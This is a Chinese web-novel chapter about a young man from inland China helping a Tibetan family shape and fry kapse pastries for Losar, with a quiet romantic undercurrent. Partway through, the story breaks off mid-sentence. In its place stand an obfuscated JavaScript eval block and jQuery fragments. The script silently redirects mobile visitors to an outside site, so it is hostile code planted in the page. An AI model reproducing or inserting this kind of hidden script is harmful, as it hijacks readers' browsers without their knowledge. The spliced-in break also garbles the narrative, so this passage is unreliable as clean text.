还有一次是在藏历新年的前几天，尼玛旺堆说要做“塞卡”。


    这是一种藏族传统油炸面点，只有在藏历新年才会制作。


    沈翊在纪录片里见过，妇女们围坐在一起，把面团擀成薄片，切成菱形、方形、长条形，在滚油里炸至金黄。那是属于“年”的仪式感，隆重，热闹，充满集体劳作的快乐。


    他没想到自己能亲眼看到，更没想到自己会被拉进这个仪式里，参与整个过程。


    那天清晨，阿妈米玛啦从屋里搬出最大的一口铜锅，放在灶台上，德吉次仁负责和面，面粉里加了酥油、鸡蛋、白糖，揉成光滑的面团，盖上湿布醒着。


    一切准备就绪，阿妈米玛啦点燃灶火，铜锅里的油开始升温。


    尼玛旺堆把沈翊叫到案板前，让他洗手。


    “来，我教你做‘梅朵卡塞’。”他从面团上揪下一小块，在掌心揉圆，然后用拇指和食指轻轻一捏，面团立刻变成了一朵五瓣小花的形状。


    “这是花的形状。”他把那朵面花放在沈翊掌心，“藏语叫‘梅朵’，就是花。”


    沈翊看着掌心那朵小小的面花，尼玛旺堆的手法太快，他根本没看清是怎么捏出来的。


    “我做不好。”他有些忐忑。


    “多做几次就好了。”尼玛旺堆又揪下一块面团递给他，“先揉圆。”


    沈翊照做。面团在掌心滚动，渐渐变成光滑的圆球。


    “然后用拇指和食指，从这里和这里捏下去，”尼玛旺堆握住他的手，他的手指微凉，骨节分明，覆在沈翊的手背上，带着他调整力度和角度。


    那朵面花，在两个人心照不宣的沉默里，渐渐成形，充满了快乐与幸福，是非常平淡且幸福的日常。


    它歪歪扭扭，五瓣大小不一，有一瓣甚至快掉下来了。


    但它是花。


    “好了。”尼玛旺堆松开手，退后一步，看着那朵奇形怪状的面花，“第一个，总会有点丑。”


    沈翊低头看着那朵花，他第一次发现，原来面团在掌心，是有温度的，不是人体温传来的热，是面团本身，那种柔软的可以被塑造成任何形状的生命力。


    他把这朵花轻轻放进油锅。


    面花在热油里翻滚、膨胀、上色，几秒钟后，它从苍白变成金黄，从柔软变成酥脆。


    沈翊把它捞出来，放在铺着吸油纸的竹篮里。


    它还是歪歪扭扭的，五瓣大小不一，有一瓣炸的时候差点脱落。


    但它很香。


    德吉次仁凑过来看了一眼，噗嗤笑了一声对他们调侃道：“这花是长歪了吧？”


    沈翊有些不好意思，伸手想把那朵“歪花”挑出来。


    “别动，很烫的。”尼玛旺堆拦住他，把那朵花挪到竹篮最中央，和其他形状规整的卡塞摆在一起。


    “歪就歪了。”他说，语气很平，“又不是不能吃。”


    沈翊看着他，心里一暖。


    尼玛旺堆没抬头，继续捏着下一朵面花，他的耳根在阳光下微微泛红。


    德吉次仁看完‘渍’一声，然后识趣的转身继续去干自己的活。


    那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217415|196977||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    天下午，竹篮里堆满了金黄的卡塞。沈翊后来捏的面花越来越像样，虽然还是不如尼玛旺堆捏的那么精致，但至少五瓣对称，不会在油锅里散架。


    阿妈米玛啦把第一锅卡塞供奉在佛堂前，燃灯的火苗轻轻摇曳，照得那盘卡塞泛着柔润的光泽，她低声念诵着什么，将几粒青稞撒向空中。


    德吉次仁拿起手机，拍了几张照片，她拍佛堂，拍卡塞，拍母亲佝偻的背影。镜头转向院子里时，正好框住并肩站在油锅前的两个男人。


    沈翊正在往锅里放面花，尼玛旺堆站在他旁边，低头看着锅里的油温。


    德吉次仁按下了快门。


    她没有告诉他们。


    那晚，沈翊在笔记本上写下：第一次知道，食物可以是一种祝福。


    他老家也有炸年货，超市里卖的那种，包装精美，价格不菲，买回家热一下就是‘年味’。但那不是祝福，是消费。


    而这里，每一朵卡塞都有人亲手捏塑，每一滴油都有人守候温度。阿妈米玛啦供奉给佛堂的那盘，是食物，更是心意，‘这一年承蒙您护佑，这是我们做的，您尝尝’。


    我不知道神明会不会尝，我本身就不信神佛。


    但我知道，当她把这盘卡塞放在佛前时，她相信神明会喜欢，因为这是她用最淳朴的心去供奉的，祈求新的一年平安顺遂。


    就像她相信，那个从内地来的、瘦得不成样子的年轻人，多吃几碗藏面，身体就会好起来一样，就是这么简单，质朴。


    “相信不需要证据，就像爱不需要理由。”